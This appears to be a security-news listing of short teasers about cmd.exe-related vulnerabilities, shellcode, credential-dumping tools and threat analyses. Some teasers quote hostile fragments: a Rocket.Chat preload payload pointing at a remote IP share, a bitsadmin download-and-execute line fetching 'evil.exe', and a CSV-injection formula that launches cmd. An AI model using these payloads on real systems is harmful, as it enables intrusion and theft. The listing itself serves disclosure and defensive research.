ezEmu - Simple Execution Of Commands For Defensive Tuning/Research

ezEmu enables users to test adversary behaviors via various execution techniques. Sort of like an "offensive framework for blue teamers ", ezEmu does not have any networking/C2 capabilities and rather focuses on creating local test telemetry. Windows See /Linux for ELF ezEmu is compiled as...

Rocket.Chat: Remote Code Execution in Rocket.Chat-Desktop

Description: Rocket.Chat-Desktop is vulnerable to remote code execution. An attacker is able to create new BrowserWindow instances with a malicious preload script. Releases Affected: Rocket.Chat-Desktop-Client: PWNED', '', 'nodeIntegration=true', 'preload=\\45.155.173.235\data\cmd.js'.join','...

Microsoft Windows Unsafe Handling Practices

Hi @ll, This multi-part post can be read even without a MIME-compliant program! Back in 2014, I reported a vulnerability in CreateProcess's handling of .cmd and .bat files that Microsoft fixed with MS14-019 alias MSKB 2922229 and assigned CVE-2014-0315: command lines with a batch script as first...

CVE-2020-4019

The file editing functionality in the Atlassian Companion App before version 1.0.0 allows local attackers to have the app run a different executable in place of the app's cmd.exe via a untrusted search path vulnerability...

Design/Logic Flaw

The file editing functionality in the Atlassian Companion App before version 1.0.0 allows local attackers to have the app run a different executable in place of the app's cmd.exe via a untrusted search path vulnerability...

CVE-2020-4019: Untrusted Search Path

The file editing functionality in the Atlassian Companion App before version 1.0.0 allows local attackers to have the app run a different executable in place of the app's cmd.exe via a untrusted search path vulnerability...

Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode (571 Bytes)

Shellcode Title: Windows/x86 - Dynamic Bind Shell + Null-Free Shellcode 571 Bytes Shellcode Author: Bobby Cooke Technique: PEB & Export Directory Table Tested On: Windows 10 Pro x86 10.0.18363 Build 18363 Shellcode Function: When executed, this shellcode creates a cmd.exe bind shell, using the...

Lsassy - Extract Credentials From Lsass Remotely

Python library to remotely extract credentials. This blog post explains how it works. You can check the wiki This library uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials. Requirements Python = 3.6 pypykatz = 0.3.0 impacket Installation From...

Microsoft Windows 10 build 1809 - Local Privilege Escalation (UAC Bypass)

Microsoft Windows 10 build 1809 - Local Privilege Escalation UAC Bypass Exploit Title: Microsoft Windows 10 - Local Privilege Escalation UAC Bypass Author: Nassim Asrir Date: 2019-01-10 Exploit Author: Nassim Asrir CVE: N/A Tested On: Windows 10Pro 1809 Vendor : https://www.microsoft.com Technica...

Exploit for Improper Privilege Management in Microsoft

CVE-20190-1215 ws2ifsl.sys UAF exploit for Windows 10 19H1 x64...

CVE-2019-17664

NSA Ghidra through 9.0.4 uses a potentially untrusted search path. When executing Ghidra from a given path, the Java process working directory is set to this path. Then, when launching the Python interpreter via the "Ghidra Codebrowser Window Python" option, Ghidra will try to execute the cmd.exe...

CVE-2019-17664

CVE-2019-17664 affects NSA Ghidra up to 9.0.4, where the Java process working directory is set to the user-provided path. When launching the Python interpreter from Ghidra CodeBrowser > Window > Python, Ghidra attempts to execute cmd.exe from that working directory due to a potentially untr...

CVE-2019-17664: Untrusted Search Path

NSA Ghidra through 9.0.4 uses a potentially untrusted search path. When executing Ghidra from a given path, the Java process working directory is set to this path. Then, when launching the Python interpreter via the "Ghidra Codebrowser Window Python" option, Ghidra will try to execute the cmd.exe...

CB TAU Threat Intelligence Notification: Sodinokibi Ransomware

Sodinokibi otherwise known as Sodin or REvil is a ransomware variant that has recently been observed evolving its delivery techniques, leveraging fake antivirus software and PowerShell droppers. This malware appears to be related to GandCrab and is likely a result of their operation closing up...

Windows/x86 - bitsadmin Download and Execute Shellcode (210 Bytes)

/ ; Windows/x86 - bitsadmin Download and Execute http://192.168.10.10/evil.exe c:\evil.exe Shellcode 210 Bytes ; Shellcode Title : bitsadmin download and execute ; Shellcode Author : Joseph McDonagh ; Date June 26, 2019 ; Shellcode Length 210 ; However, if the application you are exploiting alrea...

A use cve-2017-11882 and cve-2018-0802 combination of vulnerability a malicious document analysis-vulnerability warning-the black bar safety net

! Recently intercepted an extension doc word document to attack the samples, which format is actually RTF format. By analyzing the document composition the use of a cve-2017-11882 and cve-2018-0802 vulnerability, and use the embedded excel object is used to trigger the vulnerability. The release ...

Cmd and Conquer: De-DOSfuscation with flare-qdb

When Daniel Bohannon released his excellent DOSfuscation paper, I was fascinated to see how tricks I used as a systems engineer could help attackers evade detection. I didn’t have much to contribute to this conversation until I had to analyze a hideously obfuscated batch file as part of my job on...

Threat Analysis: Recent Attack Technique Leveraging cmd.exe and PowerShell Demonstrates How Attackers Are Using Trusted Microsoft Applications for Malicious Behavior

An attack leveraging cmd.exe and PowerShell was recently investigated by Cb ThreatSight analysts. Our initial investigation discovered that a batch file was executed on the targeted system. This batch file then invoked PowerShell with a base64 encoded command. Decoding the command revealed a seri...

CVE-2018-7304

Tiki 17.1 does not validate user input for special characters; consequently, a CSV Injection attack can open a CMD.EXE or Calculator window on the victim machine to perform malicious activity, as demonstrated by an "=cmd|' /C calc'!A0" payload during User Creation...

CVE-2018-7304

CVE-2018-7304 affects Tiki Wiki CMS Groupware (Tiki) version 17.1. The vulnerability arises because the application does not validate user input containing special characters in CSV fields, enabling CSV Injection that can trigger commands on the victim’s machine (for example, an input payload lik...